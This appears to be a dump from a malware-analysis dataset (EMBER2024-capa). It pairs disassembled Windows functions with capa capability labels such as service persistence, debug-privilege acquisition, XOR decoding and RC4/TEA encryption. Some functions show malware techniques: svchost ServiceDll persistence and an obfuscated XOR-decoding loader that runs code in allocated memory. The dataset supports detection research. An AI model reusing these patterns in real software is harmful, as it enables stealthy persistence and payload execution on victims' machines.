joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a36
Capabilities:
Create service
Get common file path
Persist via windows service
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
xor ebx, ebx
push 1
mov esi, 0x80000002
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x61c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push str.netsvcs
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x104
lea eax, [ebp - 0x118]
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x21c]
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x21c]
push 0x4031d0
push eax
lea eax, [ebp - 0x118]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
call fcn.00401bc5
push 0xf003f
push ebx
push ebx
mov dword [ebp - 8], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push ebx
push ebx
push ebx
push ebx
push ebx
push str._SystemRoot_System32_svchost.exe__k_netsvcs
push 1
push 2
push 0x10
push 0xf01ff
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
mov dword [ebp + 8], eax
call edi
push dword [ebp - 0xc]
call edi
push dword [ebp - 8]
lea eax, [ebp - 0x61c]
mov dword [ebp - 4], esi
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x61c]
push dword [ebp + 0xc]
push 1
push str.Description
push eax
push esi
call fcn.00401420
add esp, 0x1c
lea eax, [ebp - 0x61c]
push str.Parameters
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x118]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x118]
push eax
push 2
lea eax, [ebp - 0x61c]
push str.ServiceDll
push eax
push esi
call fcn.00401420
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x1c
push dword [ebp - 4]
call esi
push ebx
call esi
push dword [ebp + 8]
call edi
push dword [ebp - 0xc]
call edi
call fcn.00401d14
neg eax
sbb eax, eax
pop edi
and eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x401bc5
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
lea eax, [ebp - 4]
push ebx
push eax
xor ebx, ebx
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push 0x80000002
mov dword [ebp - 0xc], 0x800
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401bfd
xor eax, eax
jmp 0x401d11
push esi
lea eax, [ebp - 0xc]
push edi
push eax
lea eax, [ebp - 0x848]
mov edi, str.netsvcs
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_SetLastError]
cmp dword [ebp - 8], ebx
je 0x401c36
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x4030f0
lea eax, [ebp - 0x48]
push 0x4031c0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0xc
cmp byte [ebp - 0x848], bl
lea eax, [ebp - 0x848]
mov dword [ebp - 0x10], eax
je 0x401c89
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x10]
call sub.MSVCRT.dll__stricmp
pop ecx
test eax, eax
pop ecx
je 0x401ce1
push ebx
push dword [ebp - 0x10]
call sub.MSVCRT.dll_strchr
inc eax
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
cmp byte [eax], bl
jne 0x401c64
lea eax, [ebp - 0x48]
push eax
call esi
mov byte [ebp + eax - 0x47], bl
lea eax, [ebp - 0x48]
push eax
call esi
inc eax
inc eax
push eax
lea eax, [ebp - 0x48]
push eax
mov eax, dword [ebp - 0xc]
lea eax, [ebp + eax - 0x849]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
call esi
mov ecx, dword [ebp - 0xc]
lea eax, [eax + ecx + 1]
push eax
lea eax, [ebp - 0x848]
push eax
push 7
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov dword [ebp - 8], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_SetLastError]
lea eax, [ebp - 0x48]
push eax
call esi
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401d54
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push pe_nt_image_headers32
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
push 0x4031d0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x4032d4
lea eax, [ebp - 0x108]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401ddc
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
lea ecx, [ebp - 4]
push ebx
push ecx
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1002195
Capabilities:
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xf0
push 4
call fcn.010012b0
test eax, eax
pop ecx
je 0x10021b6
mov ecx, eax
call dword [sym.imp.ulib.dll_public:_void___thiscall_CLASS_DESCRIPTOR::constructor_void_]
jmp 0x10021b8
xor eax, eax
test eax, eax
mov dword [0x1004004], eax
je 0x10021c9
mov ecx, eax
call dword [sym.imp.ulib.dll_public:_unsigned_char___thiscall_CLASS_DESCRIPTOR::Initialize_void_]
lea ecx, [ebp - 0x78]
call fcn.010012ff
lea ecx, [ebp - 0x78]
call fcn.01001cd6
test al, al
je 0x10021ee
lea ecx, [ebp - 0x78]
call fcn.0100133e
test al, al
je 0x10021ee
push dword [ebp + 0x10]
jmp 0x10021f0
push 2
call dword [sym.imp.msvcrt.dll_exit]
int3
Function at 0x4cba40
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x403e16
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x64
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x403098
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x4cbac8
mov dword [ebp - 4], 4
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00478d80
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 4], 6
mov edx, dword [ebp + 8]
cmp dword [edx], 0
je 0x4cbc28
mov dword [ebp - 4], 7
call fcn.00478eb8
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x60]
push ecx
push 0x28
mov edx, dword [ebp - 0x64]
push edx
call fcn.00478e1c
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov dword [ebp - 4], 9
lea eax, [ebp - 0x40]
push eax
push 0x478ed8
lea ecx, [ebp - 0x6c]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0x474e90
lea edx, [ebp - 0x68]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
call fcn.00478e6c
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x68]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x34], 1
mov dword [ebp - 4], 0xb
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x30]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x28], 2
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x50]
push edx
push 0x10
lea eax, [ebp - 0x34]
push eax
push 0
mov ecx, dword [ebp - 0x60]
push ecx
call fcn.00478dd0
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov dword [ebp - 4], 0xe
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0
push 1
call fcn.0047710c
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov ecx, dword [ebp - 0x70]
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x5c], 0
je 0x4cbc28
mov dword [ebp - 4], 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call fcn.0047719c
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor ecx, ecx
cmp dword [ebp - 0x70], 0
setne cl
neg ecx
mov word [ebp - 0x38], cx
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x5c]
push edx
call fcn.00477150
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
mov dword [ebp - 4], 0x14
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
push 0x4cbc53
jmp 0x4cbc52
ret
Function at 0x40135e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor edx, edx
push 8
mov ecx, edx
pop esi
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor ecx, eax
sub esi, 1
jne 0x401366
mov dword [edx*4 + 0x4214e8], ecx
inc edx
cmp edx, 0x100
jb 0x401361
mov esi, 0x800
jmp 0x4013ae
mov ecx, dword [edx*4 + 0x4210e8]
movzx eax, cl
shr ecx, 8
xor ecx, dword [eax*4 + 0x4214e8]
mov dword [edx*4 + 0x4214e8], ecx
inc edx
cmp edx, esi
jb 0x401392
mov dword [0x4234e8], 0x40160e
call fcn.0040128c
mov ecx, dword [0x4234e8]
test eax, eax
mov edx, 0x4016a7
cmove ecx, edx
mov dword [0x4234e8], ecx
pop esi
ret

Function at 0x40142c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
mov esi, dword [edi]
test esi, esi
je 0x401481
and dword [edi], 0
mov edx, 0x400000
and dword [ebp + 8], 0
lea eax, [ebp + 8]
push 0
push eax
cmp esi, edx
mov eax, esi
cmova eax, edx
push eax
push ebx
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 8]
add ebx, ecx
add dword [edi], ecx
sub esi, ecx
test eax, eax
je 0x401488
test ecx, ecx
je 0x401481
mov ecx, dword [ebp - 4]
mov edx, 0x400000
test esi, esi
jne 0x401449
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401483
Function at 0x405c15
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 0xc]
mov eax, ecx
push edi
xor edi, edi
mov dword [ebp - 4], eax
mov esi, dword [esi]
and esi, 7
cmp edx, 5
jae 0x405c38
xor eax, eax
jmp 0x405d6e
push ebx
lea ebx, [edx - 4]
or ecx, 0xffffffff
add ebx, eax
mov dword [ebp - 0x14], ebx
lea edx, [edi + eax]
cmp edx, ebx
jae 0x405c5b
mov al, byte [edx]
and al, 0xfe
cmp al, 0xe8
je 0x405c58
inc edx
cmp edx, ebx
jb 0x405c4b
mov eax, dword [ebp - 4]
mov edi, edx
sub edi, eax
mov eax, edi
sub eax, ecx
cmp edx, ebx
jae 0x405d56
cmp eax, 3
jbe 0x405c92
xor esi, esi
mov al, byte [edx + 4]
mov ecx, edi
mov dword [ebp - 0x10], ecx
test al, al
je 0x405cce
cmp al, 0xff
je 0x405cce
and esi, 3
xor eax, eax
add esi, esi
or esi, 1
inc eax
jmp 0x405d4f
lea ecx, [eax - 1]
shl esi, cl
and esi, 7
je 0x405c72
cmp byte [esi + 0x41db50], 0
je 0x405cbb
movzx eax, byte [esi + 0x41db60]
mov ecx, edx
sub ecx, eax
mov al, byte [ecx + 4]
test al, al
je 0x405cbb
cmp al, 0xff
jne 0x405c72
and esi, 3
mov ecx, edi
add esi, esi
or esi, 1
inc edi
mov eax, dword [ebp - 4]
jmp 0x405c44
movzx ebx, al
movzx eax, byte [edx + 3]
shl ebx, 8
or ebx, eax
movzx eax, byte [edx + 2]
shl ebx, 8
or ebx, eax
movzx eax, byte [edx + 1]
shl ebx, 8
or ebx, eax
sub ebx, edi
sub ebx, 5
mov dword [ebp - 0xc], ebx
test esi, esi
je 0x405d27
movzx eax, byte [esi + 0x41db60]
shl eax, 3
push 0x18
pop ecx
sub ecx, eax
mov dword [ebp - 8], eax
mov eax, ebx
shr eax, cl
test al, al
je 0x405d16
cmp al, 0xff
jne 0x405d27
xor ebx, ebx
push 0x20
pop ecx
sub ecx, dword [ebp - 8]
inc ebx
shl ebx, cl
dec ebx
xor ebx, dword [ebp - 0xc]
jmp 0x405cec
mov ecx, dword [ebp - 0x10]
mov eax, ebx
shr eax, 0x18
and al, 1
mov byte [edx + 1], bl
neg al
mov byte [edx + 4], al
mov eax, ebx
shr eax, 0x10
mov byte [edx + 3], al
mov eax, ebx
mov ebx, dword [ebp - 0x14]
shr eax, 8
push 5
mov byte [edx + 2], al
pop eax
add edi, eax
jmp 0x405cc6
lea ecx, [eax - 1]
shl esi, cl
xor ecx, ecx
and esi, 7
cmp eax, 3
mov eax, dword [ebp + 0xc]
cmova esi, ecx
pop ebx
mov dword [eax], esi
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x406955
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 8
jb 0x40695d
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
ret

Function at 0x40696b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x40698b
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40699d
mov al, 1
jmp 0x406a39
push ebx
push 0x20a
xor ebx, ebx
lea eax, [ebp - 0x210]
push ebx
push eax
call fcn.00407ec0
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x4069bd
mov esi, dword [esi]
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040bb03
lea eax, [ebp - 0x210]
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x228], eax
xorps xmm0, xmm0
pop ecx
mov eax, 0x1494
mov dword [ebp - 0x224], ebx
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x230]
pop ecx
push eax
movlpd qword [ebp - 0x21e], xmm0
mov dword [ebp - 0x216], ebx
mov dword [ebp - 0x22c], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
cmp dword [ebp - 0x21e], ebx
je 0x406a24
xor al, al
jmp 0x406a38
test eax, eax
je 0x406a34
cmp eax, 2
je 0x406a34
cmp eax, 0x402
jne 0x406a36
mov bl, 1
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00406c87
leave
ret
Function at 0x406a46
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417d95
mov eax, dword fs:[0]
push eax
mov eax, 0x228c
call fcn.00417ac0
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x2298], eax
mov esi, ecx
test eax, eax
je 0x406bec
lea eax, [ebp - 0x248]
mov edi, 0x104
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp eax, edi
jae 0x406bec
test eax, eax
je 0x406bec
xor ebx, ebx
push ebx
call fcn.0040bb25
push eax
call fcn.0040b999
pop ecx
pop ecx
mov dword [ebp - 0x2294], ebx
xor eax, eax
mov dword [ebp - 0x2260], ebx
mov dword [ebp - 0x2250], ebx
mov dword [ebp - 0x224c], 7
mov word [ebp - 0x2260], ax
lea eax, [ebp - 0x2260]
mov dword [ebp - 4], ebx
cmp eax, esi
je 0x406b08
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x406af9
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x2260]
push eax
call fcn.0040625c
push 0xa
pop ecx
xor eax, eax
lea edi, [ebp - 0x38]
push 0xa
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x38]
push 0x14
push eax
call fcn.0040b978
cdq
mov ecx, 0x7fff
idiv ecx
push edx
call fcn.0040bad0
lea eax, [ebp - 0x38]
push eax
call fcn.0040b488
add esp, 0x14
lea ecx, [ebp - 0x2260]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.004062aa
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x2290]
call fcn.004061ba
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2260]
cmp dword [ebp - 0x224c], 8
push dword [ebp - 0x2250]
cmovae ecx, dword [ebp - 0x2260]
push ecx
mov ecx, eax
call fcn.004062aa
push eax
lea ecx, [ebp - 0x2278]
call fcn.004061e9
lea ecx, [ebp - 0x2290]
mov byte [ebp - 4], 3
call fcn.0040618f
cmp dword [ebp - 0x2264], 8
lea eax, [ebp - 0x2278]
push ebx
cmovae eax, dword [ebp - 0x2278]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x406c08
lea ecx, [ebp - 0x2278]
call fcn.0040618f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2260]
call fcn.0040618f
mov eax, dword [ebp - 0x2294]
inc eax
mov dword [ebp - 0x2294], eax
cmp eax, 0x32
jl 0x406ac3
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406c87
leave
ret
push 0x2000
lea eax, [ebp - 0x2248]
push ebx
push eax
call fcn.00407ec0
add esp, 0xc
lea ecx, [ebp - 0x2248]
cmp dword [ebp - 0x2264], 8
lea eax, [ebp - 0x2278]
cmovae eax, dword [ebp - 0x2278]
push 0x1000
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x406c6a
lea eax, [ebp - 0x2248]
push eax
call fcn.0040b488
pop ecx
mov ecx, dword [ebp - 0x2298]
push eax
lea eax, [ebp - 0x2248]
push eax
call fcn.0040625c
mov bl, 1
lea ecx, [ebp - 0x2278]
call fcn.0040618f
lea ecx, [ebp - 0x2260]
call fcn.0040618f
mov al, bl
jmp 0x406bee
Function at 0x401007
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x4336f8]
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4336fc]
push edi
mov edi, dword [ebx]
xor edx, edx
mov dword [ebp - 0x30], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], edi
mov dword [ebp - 8], edx
mov dword [ebp - 0x34], 0x9e3779b9
call fcn.00401000
mov eax, dword [0x433700]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x24], eax
mov eax, dword [0x433704]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x10], 2
add dword [ebp - 0x10], 3
mov eax, edi
shl eax, 4
cmp dword [0x442954], 0xc
mov dword [ebp - 4], eax
jne 0x401085
push edx
lea eax, [ebp - 0x38]
push eax
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor edx, edx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov eax, dword [0x442954]
cmp eax, 0xfa9
jne 0x4010a1
mov dword [0x442950], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c2
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AreAllAccessesGranted]
and dword [0x4428a4], 0
xor edx, edx
mov eax, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
shr eax, 5
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov dword [0x44294c], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
sub esi, eax
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
add eax, esi
mov dword [ebp - 0x1c], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 0xc]
sub edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], edi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x401059
mov dword [ebx], edi
pop edi
mov dword [ebx + 4], esi
pop esi
leave
ret
Function at 0x408d38
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432f30]
jne 0x408d42
repz ret
jmp fcn.0040ccb4

Function at 0x409fb3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402abe
and dword [ebp - 4], 0
cmp dword [0x437940], 0
mov ebx, eax
jne 0x40a064
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a115
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a115
push eax
call fcn.00402a4c
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x437940], eax
call esi
push eax
call fcn.00402a4c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x437944], eax
call esi
push eax
call fcn.00402a4c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x437948], eax
call esi
push eax
call fcn.00402a4c
pop ecx
mov dword [0x437950], eax
test eax, eax
je 0x40a064
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402a4c
pop ecx
mov dword [0x43794c], eax
mov eax, dword [0x43794c]
cmp eax, ebx
je 0x40a0bc
cmp dword [0x437950], ebx
je 0x40a0bc
push eax
call fcn.00402ac7
push dword [0x437950]
mov esi, eax
call fcn.00402ac7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a0bc
test edi, edi
je 0x40a0bc
call esi
test eax, eax
je 0x40a0b3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a0b3
test byte [ebp - 0xc], 1
jne 0x40a0bc
or dword [ebp + 0x10], 0x200000
jmp 0x40a0f5
mov eax, dword [0x437944]
cmp eax, ebx
je 0x40a0f5
push eax
call fcn.00402ac7
pop ecx
test eax, eax
je 0x40a0f5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a0f5
mov eax, dword [0x437948]
cmp eax, ebx
je 0x40a0f5
push eax
call fcn.00402ac7
pop ecx
test eax, eax
je 0x40a0f5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x437940]
call fcn.00402ac7
pop ecx
test eax, eax
je 0x40a115
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a117
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x406243
pop dword [ebp - 0x28]
mov eax, 0xf7c4eca9
add eax, 0x87b759a
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x13411067
sub dword [ebp - 0x38], 0xc4eecb1c
mov dword [ebp - 0x34], 0x5aca6513
add dword [ebp - 0x34], 0xd768e732
mov dword [ebp - 0x30], 0xcf62d972
add dword [ebp - 0x30], 0x7ce96abc
mov dword [ebp - 0x2c], 0xabca6401
sub dword [ebp - 0x2c], 0xabca6401
lea eax, [ebp - 0x38]
push eax
mov eax, 0xaf0e0513
sub eax, 0xaecd840f
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x8c41c133
add dword [ebp - 0x38], 0xe830a823
mov dword [ebp - 0x34], 0x324cb452
add dword [ebp - 0x34], 0xf1fad23
mov dword [ebp - 0x30], 0x7af9723
add dword [ebp - 0x30], 0x5bbfd549
mov dword [ebp - 0x2c], 0x163e9511
add dword [ebp - 0x2c], 0xe9c16aef
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x32a4e55c
add eax, 0xcd9b9ba4
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3635f
push 0
call eax
mov ecx, 0x44c0
xor ebx, ebx
add ebx, eax
mov esi, 0x3afce77d
sub esi, 0x3ab6037d
add esi, dword [ebp - 0x28]
mov edi, 0x8388e502
add dword [ebp - 0xc], ebx
mov edx, dword [esi]
xor dword [ebp - 0x24], 0x93607474
xor edx, edi
xor dword [ebp - 0xc], edi
mov dword [ebx], edx
sub dword [ebp - 0x10], ecx
add ebx, 0x96d6a6cf
add ebx, 0x69295935
add esi, 0xa7e9bfc5
add esi, 0x5816403f
loop 0x40635b
add eax, 0x105d3
mov ebx, eax
add eax, 0x9f9f9633
add eax, 0x606069d2
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc